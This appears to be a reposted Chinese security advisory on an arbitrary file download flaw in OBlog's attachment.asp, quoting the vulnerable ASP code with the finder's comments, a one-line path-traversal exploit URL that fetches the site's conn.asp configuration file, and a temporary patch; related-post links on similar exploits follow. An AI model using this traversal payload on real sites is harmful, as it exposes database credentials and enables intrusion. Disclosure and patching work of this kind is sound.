OBlog任意文件下载漏洞

Path = Trim(Request("path")) '获取用户提交的路径 
FileID = Trim(Request("FileID")) 
If FileID ="" And Path = "" Then 
Response.Write "参数不足" 
Response.End 
End If 
... 
If CheckDownLoad Or 1= 1Then 
If Path = "" Then 
set rs = Server.CreateObject("ADODB.RecordSet") 
link_database 
SQL = ("select file_path,userid,file_ext,ViewNum FROM oblog_upfile WHERE FileID = "&CLng(FileID)) 
rs.open sql,conn,1,3 
If Not rs.Eof Then 
uid = rs(1) 
file_ext = rs(2) 
rs("ViewNum") = rs("ViewNum") + 1 
rs.Update 
downloadFile Server.MapPath(rs(0)),0 
Else 
Response.Status=404 
Response.Write "该附件不存在!" 
End If 
rs.Close 
Set rs = Nothing 
Else 
If InStr(path,Oblog.CacheConfig(56)) > 0 Then 'Tr4c3 标注:注意这里,仅仅判断用户提交的路径是否包含UploadFiles,为真则调用downloadfile函数下载文件 
downloadFile Server.MapPath(Path),1 
End if 
End If 
Else 
'如果附件为图片的话,当权限检验无法通过则调用一默认图片,防止<img>标记无法调用,影响显示效果 
If Path = "" Then 
Response.Status=403 
Response.Write ShowDownErr 
Response.End 
Else 
downloadFile Server.MapPath(blogdir&"images/oblog_powered.gif"),1 
End if 
End if

Set oblog = Nothing

Sub downloadFile(strFile,stype) 
On Error Resume Next 
Server.ScriptTimeOut=9999999 
Dim S,fso,f,intFilelength,strFilename 
strFilename = strFile 
Response.Clear 
Set s = Server.CreateObject(oblog.CacheCompont(2)) 
s.Open 
s.Type = 1 
Set fso = Server.CreateObject(oblog.CacheCompont(1)) 
If Not fso.FileExists(strFilename) Then 
If stype = 0 Then 
Response.Status=404 
Response.Write "该附件已经被删除!" 
Exit Sub 
Else 
strFilename = Server.MapPath(blogdir&"images/nopic.gif") 
End if 
End If 
Set f = fso.GetFile(strFilename) 
intFilelength = f.size 
s.LoadFromFile(strFilename) 
If Err Then 
Response.Write("<h1>错误: </h1>" & Err.Description & "<p>") 
Response.End 
End If 
Set fso=Nothing 
Dim Data 
Data=s.Read 
s.Close 
Set s=Nothing 
Dim ContentType 
select Case LCase(Right(strFile, 4)) 
Case ".asp",".mdb",".config",".js" 'Tr4c3 标注:再看这里,想起来什么来了?对了,前几天我发的沸腾展望新闻系统的任意下载漏洞跟这个检查的方法差不多[http://www.tr4c3.com /post/306.html],利用方法也相似,神奇的"."又派上用场了。 
Exit Sub 
Case ".asf" 
ContentType = "video/x-ms-asf" 
Case ".avi" 
ContentType = "video/avi" 
Case ".doc" 
ContentType = "application/msword" 
Case ".zip" 
ContentType = "application/zip" 
Case ".xls" 
ContentType = "application/vnd.ms-excel" 
Case ".gif" 
ContentType = "image/gif" 
Case ".jpg", "jpeg" 
ContentType = "image/jpeg" 
Case ".wav" 
ContentType = "audio/wav" 
Case ".mp3" 
ContentType = "audio/mpeg3" 
Case ".mpg", "mpeg" 
ContentType = "video/mpeg" 
Case ".rtf" 
ContentType = "application/rtf" 
Case ".htm", "html" 
ContentType = "text/html" 
Case ".txt" 
ContentType = "text/plain" 
Case Else 
ContentType = "application/octet-stream" 
End select 
If Response.IsClientConnected Then 
If Not (InStr(LCase(f.name),".gif")>0 Or InStr(LCase(f.name),".jpg")>0 Or InStr(LCase(f.name),".jpeg")>0 Or InStr(LCase(f.name),".bmp")>0 Or InStr(LCase(f.name),".png")>0 )Then 
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name 
End If 
Response.AddHeader "Content-Length", intFilelength 
Response.CharSet = "UTF-8" 
Response.ContentType = ContentType 
Response.BinaryWrite Data 
Response.Flush 
Response.Clear() 
End If 
End Sub

<* 参考:
Tr4c3[at]126[dot]com 
*> 
测试方法:

[警 告]

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!

########################################################################
利用方法:
http://www.target.com/attachment.asp?path=UploadFiles/../conn.asp.
########################################################################  
建议:
修补建议:
等待官方发布新的补丁程序。
########################################################################
临时解决办法:
将attachment.asp第5行 Path = Trim(Request(”path”)) 改成 Path = Replace(Trim(Request(”path”)),”..”,”")
########################################################################

(0)

相关推荐

  • OBlog任意文件下载漏洞

    Path = Trim(Request("path")) '获取用户提交的路径  FileID = Trim(Request("FileID"))  If FileID ="" And Path = "" Then  Response.Write "参数不足"  Response.End  End If  ...  If CheckDownLoad Or 1= 1Then  If Path = "

  • 某集团任意文件下载到虚拟主机getshell的方法

    0x01 前言  从某群的故事改编而来,都是些老套路各位看官看得高兴就好:第一次在i春秋发帖有点紧张,如果有什么不周到的地方请去打死阿甫哥哥.你没听错,阿甫哥哥推荐. 0x02 什么是任意文件下载 说到文件下载各位童鞋都不陌生(老司机请跳过),我们要下载网站上某个文件(.zip..doc..pdf)直接请求这个文件即可格式一般为:域名+相对路径+文件名,如http://www.test.com/downlad/test.zip.而在网站上下载文件一般分为两种,一种就是刚才所说的直接请求某个文件,

  • 案例讲解WEB 漏洞-文件操作之文件下载读取

    目录 原理 漏洞危害 利用方式 系统文件 window Linux 常见脚本敏感文件参考 任意文件读取 任意文件下载 Google search 漏洞利用代码 漏洞挖掘 漏洞验证 漏洞防范 案例 pikuchu靶场-文件下载测试 小米路由器-文件读取真实测试-漏洞 RoarCTF2019-文件读取真题复现 百度杯2017二月-Zone真题复现 原理 产生:任意语言代码下载函数 文件下载(一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够

  • 小议yxbbs漏洞利用代码

    1.任意文件下载漏洞. 漏洞文件: ViewFile.asp Function ChkFile(FileName)  Dim Temp,FileType,F  ChkFile=false  FileType=Lcase(Split(FileName,".")(ubound(Split(FileName,"."))))  Temp="|asp|aspx|cgi|php|cdx|cer|asa|"  If Instr(Temp,"|&quo

  • ThinkPHP框架任意代码执行漏洞的利用及其修复方法

    ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的.最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布.早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库).RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常

  • 常用网页编辑器漏洞手册(全面版)fckeditor,ewebeditor

    FCKeditor FCKeditor编辑器页/查看编辑器版本/查看文件上传路径 FCKeditor编辑器页 FCKeditor/_samples/default.html 查看编辑器版本 FCKeditor/_whatsnew.html 查看文件上传路径 fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&Curren

  • JSP漏洞大观

    综述:服务器漏洞是安全问题的起源,黑客对网站的攻击也大多是从查找对方的漏洞开始的.所以只有了解自身的漏洞,网站管理人员才能采取相应的对策,阻止外来的攻击.下面介绍一下一些服务器(包括Web服务器和JSP服务器)的常见漏洞. Apache泄露重写的任意文件漏洞是怎么回事? 在Apache1.2以及以后的版本中存在一个mod_rewrite模块,它用来指定特殊URLS在网络服务器文件系统上所映射的绝对路径.如果传送一个包含正确表达参数的重写规则,攻击者就可以查看目标主机上的任意文件. 下面举例说明重

  • JSP脚本漏洞面面观

    服务器漏洞是安全问题的起源,黑客对网站的攻击也大多是从查找对方的漏洞开始的.所以只有了解自身的漏洞,网站管理人员才能采取相应的对策,阻止外来的攻击.下面介绍一下一些服务器(包括Web服务器和JSP服务器)的常见漏洞. Apache泄露重写的任意文件漏洞是怎么回事? 在Apache1.2以及以后的版本中存在一个mod_rewrite模块,它用来指定特殊URLS在网络服务器文件系统上所映射的绝对路径.如果传送一个包含正确表达参数的重写规则,攻击者就可以查看目标主机上的任意文件. 下面举例说明重写规则

  • Android手机App安全漏洞整理(小结)

    本文主要介绍了APP安全漏洞整理,分享给大家,具体如下: 1.源码安全漏洞 1.1 代码混淆漏洞 当前APK文件的安全性是非常令人堪忧的.APK运行环境依赖的文件/文件夹 res.DEX.主配文件Lib 只有简单的加密或者甚至没有任何加密.诸如apktool这类工具可轻易将其破解,再配合其他例如dex2jar.jd-gui等工具基本可以做到:源码暴露.资源文件暴露.主配文件篡改.核心SO库暴露.暴力破解恶意利用等.因此需要对安卓代码进行代码混淆. 代码混淆(Obfuscated code)亦称花

  • 浅谈Java开发中的安全编码问题

    1 - 输入校验 编码原则:针对各种语言本身的保留字符,做到数据与代码相分离. 1.1 SQL 注入防范 严重性高,可能性低. (1) 参数校验,拦截非法参数(推荐白名单): public String sanitizeUser(String username) { return Pattern.matches("[A-Za-z0-9_]+", username) ? username : "unauthorized user"; } (2) 使用预编译: Stri

随机推荐